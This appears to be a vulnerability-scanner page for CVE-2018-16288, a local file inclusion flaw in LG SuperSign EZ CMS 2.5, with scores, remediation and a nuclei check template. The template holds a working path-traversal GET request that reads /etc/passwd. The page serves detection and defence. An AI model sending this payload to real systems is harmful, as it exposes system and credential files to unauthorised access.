LG SuperSign EZ CMS 2.5 - Local File Inclusion

highseverity

8.6CVSS score

35.8%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

LG SuperSign CMS 2.5 allows reading of arbitrary files via signEzUI/playlist/edit/upload/..%2f URIs - aka local file inclusion.

Impact

An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.

Fix

Apply the latest security patches or upgrade to a patched version of LG SuperSign EZ CMS.

How to confirm it

Send: GET {{BaseURL}}/signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-16288 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-16288

info:
  name: LG SuperSign EZ CMS 2.5 - Local File Inclusion
  author: daffainfo
  severity: high
  description: |
    LG SuperSign CMS 2.5 allows reading of arbitrary files via signEzUI/playlist/edit/upload/..%2f URIs - aka local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of LG SuperSign EZ CMS.
  reference:
    - https://www.exploit-db.com/exploits/45440
    - http://mamaquieroserpentester.blogspot.com/2018/09/multiple-vulnerabilities-in-lg.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16288
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2018-16288
    cwe-id: CWE-200
    epss-score: 0.35828
    epss-percentile: 0.9848
    cpe: cpe:2.3:a:lg:supersign_cms:2.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lg
    product: supersign_cms
  tags: cve,cve2018,lfi,supersign,edb,lg,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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